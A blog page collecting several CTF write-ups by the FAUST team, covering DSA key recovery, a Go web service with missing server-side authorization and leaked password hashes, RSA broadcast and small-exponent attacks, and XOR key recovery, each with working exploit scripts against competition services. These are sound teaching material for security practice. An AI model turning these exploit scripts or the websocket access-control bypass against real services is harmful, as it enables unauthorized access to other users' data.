Christoph's last Weblog entries

Entries tagged "faust".

Midnight Sun CTF 2019 EZDSA Writeup
7th April 2019

This is FAUST playing CTF again, this time midnightsun.

Team: FAUST
Crew: siccegge

OK so we're looking at the EZDSA service. This is a signature service and the task is essentially to recover the signing key. Code is reproduced below.

#!/usr/bin/python2
from hashlib import sha1
from Crypto import Random
from flag import FLAG


class PrivateSigningKey:

    def __init__(self):
        self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L
        self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL
        self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L
        self.key = int(FLAG.encode("hex"), 16)

    def sign(self, m):

        def bytes_to_long(b):
            return long(b.encode("hex"), 16)

        h = bytes_to_long(sha1(m).digest())
        u = bytes_to_long(Random.new().read(20))
        assert(bytes_to_long(m) % (self.q - 1) != 0)

        k = pow(self.gen, u * bytes_to_long(m), self.q)
        r = pow(self.gen, k, self.p) % self.q
        s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q
        assert(s != 0)

        return r, s

The outer service was not provided but you could pass in base64 encoded byte arrays and got back r and s as already indicated. Looking at the final computation for s we notice that given \((h + k * r)\) and \(h, r\) we can easily recover \(k\). For this to work it would be convenient if the first term ends up being 1. Unfortunately, the easiest way to get there is prevented: \(g^{q-1} = 1\). Fortunately this is not the only exponent where this works and a good candidate is \((q-1 / 2)\).

pow(gen, (q-1)//2, q)
1

From there the only thing left is solving \(s = (h + k * r)\). Fortunately gmpy has the solution prepackaged again: divm. So we proceed by getting a valid "signature" on \((q-1 / 2)\). The rest is simple calculation:

#!/usr/bin/python3
sha1(binascii.unhexlify("%x" % ((q-1)//2))).hexdigest()
'e6d805a06977596563941c1e732e192045aa49f0'

base64.b64encode(binascii.unhexlify("%x" % ((q-1)//2)))

gmpy2.divm(s-h, r, q)
mpz(39611266634150218411162254052999901308991)

binascii.unhexlify("%x" % 39611266634150218411162254052999901308991)
b'th4t_w4s_e4sy_eh?'

OK so why does \((q-1 / 2)\) work? Essentially, the field defined \(F_q\) -- calculations mod q -- has q elements additively and \(q-1\) elements multiplicatively(and we're considering exponentiation as repeated multiplication). Therefore it contains cyclic subgroups for all factors of \(q-1\) and for every element \(e\), \(e^o = 1\) where o is the order of the subgroup that element belongs to. as the generator is trivially not \(-1\) -- the subgroup of size 2 -- \((q-1 / 2)\) must be a multiple of the generated group's order.

Tags: crypto, ctf, faust, python, security, writeup.
RuCTFe 2018 laberator
11th November 2018

Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018

The service

Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go, some stuff in the templates and the websockets endpoint in command_executor.go. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase stored when creating the account was used to store some more flags.

Client side authentication for labels

Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.


            let label = JSON.parse(e.data);
            if (label.Owner !== getLoginFromCookies()) {
                return;
            }

And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.


        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
                var viewData ViewData
                err := json.Unmarshal(data, &viewData)
                if err != nil {
                        return nil, createUnmarshallingError(err, data)
                }
                cookies := parseCookies(viewData.RawCookies)
                ok, _ := ex.sm.ValidateSession(cookies)
                if !ok {
                        return nil, errors.New("invalid session")
                }
                label, err := ex.dbApi.ViewLabel(viewData.LabelId)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
                }
                rawLabel, err := json.Marshal(*label)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
                }
                return rawLabel, nil
        },

Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels

#!/usr/bin/env python3

import requests
import websocket
import json
import sys
import string
import random
import base64


def main():
    host = sys.argv[1]
    session = requests.session()

    password = [i for i in string.ascii_letters]
    random.shuffle(password)

    username = ''.join(password[:10])
    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
    password = base64.b64encode((''.join(password[20:36])).encode()).decode()


    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %   
                    (host,username,phrase,password))
    x = session.get('http://%s:8888/login?login=%s&password=%s' % 
                    (host,username, password))
    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])

    ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))

    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
    # make sure create is already commited before continuing
    ws.recv()

    data = {'Offset': 0, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
    stuff = json.loads(ws.recv())
    lastid = stuff[0]['ID']

    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
        try:
            data = {'LabelId': i, 'RawCookies': raw_cookie}
            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
            print(json.loads(ws.recv())["Text"])
        except Exception:
            pass


if __name__ == '__main__':
    main()

Password Hash

The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.

Listening to tcpdump for a while you'll notice interesting entries:

[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]

See the password hash there? Turns out this comes from the regularly scheduled last_users websocket call.


        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {
                users := ex.dbApi.GetLastUsers()
                rawUsers, err := json.Marshal(*users)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
                }
                return rawUsers, nil
        },

So call last_users (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.

Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.

Tags: ctf, faust, golang, python, ructfe, security, writeup.
iCTF 2018 Spiderman writeup
22nd March 2018

This is FAUST playing CTF again, this time iCTF. We somehow managed to score an amazing 5th place.

Team: FAUST
Crew: izibi, siccegge
Files: spiderman

spider is a patched python interpreter. man is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.

Observations:

Fine so far nothing obvious to break. When interacting with the service, you will likely notice the Almost Equal function in the Fun menu. According to the bytecode, it takes two integers \(a\) and \(b\) and outputs if \(a = b \pm 1\), but looking at the gameserver traffic, these two numbers are also considered to be almost equal:

$$ a = 33086666666199589932529891 \\ b = 35657862677651939357901381 $$

So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that a == b - 1 will actually result in True. So there is something wrong with the == operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed \(a = b - 1 \pmod{2^{16}+1}\). Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.

#!/usr/bin/env python3

import nclib, sys
from random import getrandbits

e = 2**16+3 # exponent
w = 2**16+1 # wtf

nc = nclib.Netcat((sys.argv[1], 20005), udp=False, verbose=True)
nc.recv_until(b'4) Exit\n')
nc.send(b'3\n') # Read

nc.recv_until(b'What do you want to read?\n')
nc.send(sys.argv[2].encode() + b'\n')

nc.recv_until(b'solve this:\n')
modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
challenge %= w

# Starting at 0 would also work, but using large random numbers makes
# it less obvious that we only bruteforce a small set of numbers
answer = getrandbits(2000)
while (pow(answer, e, modulus)) % w != challenge:
    answer += 1

nc.send(str(answer).encode() + b'\n')
flag = nc.recv_until(b'\n')

nc.recv_until(b'4) Exit\n')
nc.send(b'4\n')
Tags: crypto, ctf, faust, ictf, python, security, writeup.
Another Xor (CSAW 2017)
3rd October 2017

A short while ago, FAUST participated in this year's CSAW qualification and -- as usual -- I was working on the Crypto challenges again. The first puzzle I worked on was called "Another Xor" -- and, while there are quite some write ups already our solution was somewhat different (maybe even the intended solution given how nice things worked out) and certainly interesting.

The challenge provides a cipher-text. It's essentially a stream cipher with key repeated to generate the key stream. The plain-text was plain + key + checksum.

p = this is a plaintextThis is the keyfa5d46a2a2dcdeb83e0241ee2c0437f7
k = This is the keyThis is the keyThis is the keyThis is the keyThis i

Key length

Our first step was figuring out the key length. Let's assume for now the key was This is the key. Notice that the key is also part of the plain-text and we know something about its location -- it ends at 32 characters from the back. If we only take a look at the encrypted key it should have the following structure:

p' = This is the key
k' = he keyThis is t

The thing to notice here is that every character in the Key appears both in the plain-text and key stream sequence. And the cipher-text is the XOR (⊕) of both. Therefore XOR over the cipher-text sequence encrypting the key should equal 0 (⊕(p') ⊕ ⊕(k') = 0). So remove the last 32 characters and find all suffixes that result in a XOR of 0. Fortunately there is exactly one such suffix (there could be multiple) and therefore we know the key size: 67.

To put it in code, this basically is the function we implemented for this:

def calculate(ciphertextcandidate):
    accumulator = 0
    for char in ciphertextcandidate:
        accumulator = accumulator ^ char

Which, for the matching plain-text and key-stream fragments is equal (due to the XOR encryption) to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^ keyfragment[i])

Now XOR lets us nicely reorder this to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^
                                     keyfragment[(i + 6) % len(plainfragment)])

And, as plainfragment[i] and keyfragment[(i + 6) % len(plainfragment)] are equal for the plain-text range encoding the key this becomes

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ 0

Or simply 0 if the guess of the cipher-text range is correct.

Key recovery

Now the nice thing to notice is that the length of the key (67) is a prime (and 38, the plain-text length, is a generator). As a result, we only need to guess one byte of the key:

Assume you know one byte of the key (and the position). Now you can use that one byte of the key to decrypt the next byte of the key (using the area where the key is part of the plain-text). Due to the primeness of the key length this allows recovery of the full key.

Finally you can either print all 256 options and look for the one that looks reasonable or you can verify the md5sum which will give you the one valid solution, flag{sti11_us3_da_x0r_for_my_s3cratz}.

Code


cipher = b"'L\x10\x12\x1a\x01\x00I[P-U\x1cU\x7f\x0b\x083X]\x1b'\x03\x0bR(\x04\r7SI\n\x1c\x02T\x15\x05\x15%EQ\x18\x00\x19\x11SJ\x00RV\n\x14YO\x0b\x1eI\n\x01\x0cE\x14A\x1e\x07\x00\x14aZ\x18\x1b\x02R\x1bX\x03\x05\x17\x00\x02\x07K\n\x1aLAM\x1f\x1d\x17\x1d\x00\x15\x1b\x1d\x0fH\x0eI\x1e\x02I\x01\x0c\x15\x00P\x11\\PXPCB\x03B\x13TBL\x11PC\x0b^\tM\x14IW\x08\rDD%FC"

def keycover(guess):
    key = dict()
    pos = 38
    key[38] = guess

    for i in range(67):
        newpos = (pos % 67) + 38
        key[newpos] = xor(cipher[pos:], key[pos])
        pos = newpos

    try:
        return b''.join([ key[i] for i in range(38, 105, 1) ])
    except:
        return b'test'

for guess in range(256):
    keycand = keycover(bytes([guess]))

    plaincand = xor(cipher, repeat(keycand, len(cipher)))

    if md5(plaincand[:-32]).hexdigest().encode() == plaincand[-32:]:
        print(keycand, plaincand)
Tags: crypto, csawctf, ctf, faust, security, writeup.
Secured OTP Server (ASIS CTF 2017)
9th April 2017

This weekend was ASIS Quals weekend again. And just like last year they have quite a lot of nice crypto-related puzzles which are fun to solve (and not "the same as every ctf").

Actually Secured OTP Server is pretty much the same as the First OTP Server (actually it's a "fixed" version to enforce the intended attack). However the template phrase now starts with enough stars to prevent simple root.:

def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

Now let A = template * 2^(18*8), B = passphrase. This results in OTP = A + B. c therefore is (A+B)^3 mod n == A^3 + 3A^2b + 3AB^2 + B^3. Notice that only B^3 is larger than N and is statically known. Therefore we can calculate A^3 // N and add that to c to "undo" the modulo operation. With that it's only iroot and long_to_bytes to the solution. Note that we're talking about OTP and C here. The code actually produced two OTP and C values but you can use either one just fine.

#!/usr/bin/python3

import sys
from util import bytes_to_long
from gmpy2 import iroot

PREFIX = b'*************** Welcome, dear customer, the secret passphrase for today is: '
OTPbase = bytes_to_long(PREFIX + b'\x00' * 18)

N = 27990886688403106156886965929373472780889297823794580465068327683395428917362065615739951108259750066435069668684573174325731274170995250924795407965212988361462373732974161447634230854196410219114860784487233470335168426228481911440564783725621653286383831270780196463991259147093068328414348781344702123357674899863389442417020336086993549312395661361400479571900883022046732515264355119081391467082453786314312161949246102368333523674765325492285740191982756488086280405915565444751334123879989607088707099191056578977164106743480580290273650405587226976754077483115441525080890390557890622557458363028198676980513

WRAPPINGS = (OTPbase ** 3) // N

C = 13094996712007124344470117620331768168185106904388859938604066108465461324834973803666594501350900379061600358157727804618756203188081640756273094533547432660678049428176040512041763322083599542634138737945137753879630587019478835634179440093707008313841275705670232461560481682247853853414820158909864021171009368832781090330881410994954019971742796971725232022238997115648269445491368963695366241477101714073751712571563044945769609486276590337268791325927670563621008906770405196742606813034486998852494456372962791608053890663313231907163444106882221102735242733933067370757085585830451536661157788688695854436646

x = N * WRAPPINGS + C

val, _ = iroot(x, 3)
bstr = "%x" % int(val)

for i in range(0, len(bstr) // 2):
    sys.stdout.write(chr(int(bstr[2*i:2*i+2], 16)))

print()
Tags: asisctf, crypto, ctf, faust, security, writeup.
RuCTFe nsaless
20th December 2013

Greetings from the FAU Security Team (FAUST), the Uni Erlangen CTF group. We were participating in the RuCTFe competition and made it to 4th place. Following is my write-up on the nsaless service, the main crypto challenge in the competition. nsaless is a nodejs webservice providing a short message service. People can post messages and their followers receive the message encrypted to their individual RSA key.

About the gameserver protocol

The gameserver created groups of 8 users on the service 7 were just following the first user (and authorized by the first user to do so) while the first user sent a tweet containing the flag. The service used 512bit RSA with 7 as public exponent. While RSA512 is certainly weak, it's strong enough to make it infeasible to break directly.

Attacking RSA

There are some known attacks against RSA with small exponents if no proper padding is done. The most straightforward version just takes the e-th root of the cipher-text and, if the clear message was small enough, outputs that root as plain-text. As the flag was long enough to make this attack impossible, we need a somewhat improved Attack.

Håstad's Broadcast Attack

Reminder:

  • In RSA, given a plain-text A, the sender computes Aᵉ mod N to build the cipher-text B.
  • Given simultaneous congruences we can efficiently compute a x ∈ ℤ such that x satisfies all congruences using the Chinese remainder theorem.

For NSAless we actually get several such B for different N (each belonging to different users receiving the tweet because they follow the poster). This effectively means we get Aᵉ in mod N for different N. Using the Chinese remainder theorem we can now compute a x ∈ ℤ ≡ Aᵉ mod Π Nᵢ. If we use at least e different B for this we are guaranteed that x actually equals Aᵉ (in ): A needs to be smaller than N for all N used (otherwise we lose information during encryption), therefore Aᵉ needs to be smaller than Nᵉ.

Computing now the e-th root of x we get the plain-text A – the flag.

Fix

Fixing your service is easy enough, just increase e to an suitable number > 8. At the end of the contest 5 Teams had fixed this vulnerability by either using 17 or 65537.

EXPLOIT

The basic exploit is shown below. Unfortunately it needs to retrieve all tweets for all users the compute the flags which just takes too long to be feasible (at least at the end of the competition where tons of users already existed) so you would need some caching to make it actually work. Would have been a great idea to have users expire after an hour or two in the service!

#!/usr/bin/python

import httplib
import urllib
import re
import json
import pprint
import gmpy
import sys

userparse_re = re.compile('<a [^>]*>([^<]*)</a></div>\s*<div>([^<]*)</div>')
tweetparse_re = re.compile("<div id='last_tweet'>([0-9]+)</div>")
followingparse_re = re.compile('<div><a href="/[0-9]+">([0-9]+)</a></div>')

def my_parse_number(number):
    string = "%x" % number
    if len(string) != 64:
        return ""
    erg = []
    while string != '':
        erg = erg + [chr(int(string[:2], 16))]
        string = string[2:]
    return ''.join(erg)

def extended_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y

    return (lastx, lasty, a)

def chinese_remainder_theorem(items):
  N = 1
  for a, n in items:
    N *= n

  result = 0
  for a, n in items:
    m = N/n
    r, s, d = extended_gcd(n, m)
    if d != 1:
      raise "Input not pairwise co-prime"
    result += a*s*m

  return result % N, N

def get_tweet(uid):
    try:
        conn = httplib.HTTPConnection("%s:48879" % sys.argv[1], timeout=60)
        conn.request("GET", "/%s" % uid)
        r1 = conn.getresponse()
        data = r1.read()
        tweet = re.findall(tweetparse_re, data)
        if len(tweet) != 1:
            return None
        followers = re.findall(followingparse_re, data)
        return tweet[0], followers
    except:
        return None

def get_users():
    conn = httplib.HTTPConnection("%s:48879" % sys.argv[1], timeout=60)
    conn.request("GET", "/users")
    r1 = conn.getresponse()
    data1 = r1.read(1024 * 1024)
    data = dict()
    for i in re.findall(userparse_re, data1)[:100]:
        userinfo = get_tweet(i[0])
        if userinfo != None:
            data[i[0]] = (json.loads(i[1].replace('&quot;', '"'))['n'], userinfo)

    return data

users = get_users()
allusers = users.keys()
masters = [ user for user in allusers if len(users[user][1][1]) > 0 ]

for test in masters:
    try:
        followers = users[test][1][1]
        data = []

        for fol in followers:
            n = int(users[fol][0])
            tweet = int(users[fol][1][0])
            data = data + [(tweet, n)]

        x, n = chinese_remainder_theorem(data)

        realnum = gmpy.mpz(x).root(7)[0].digits()
        print my_parse_number(int(realnum))
    except:
        pass
Tags: crypto, ctf, faust, ructf, security, writeup.

RSS Feed

Created by Chronicle v4.6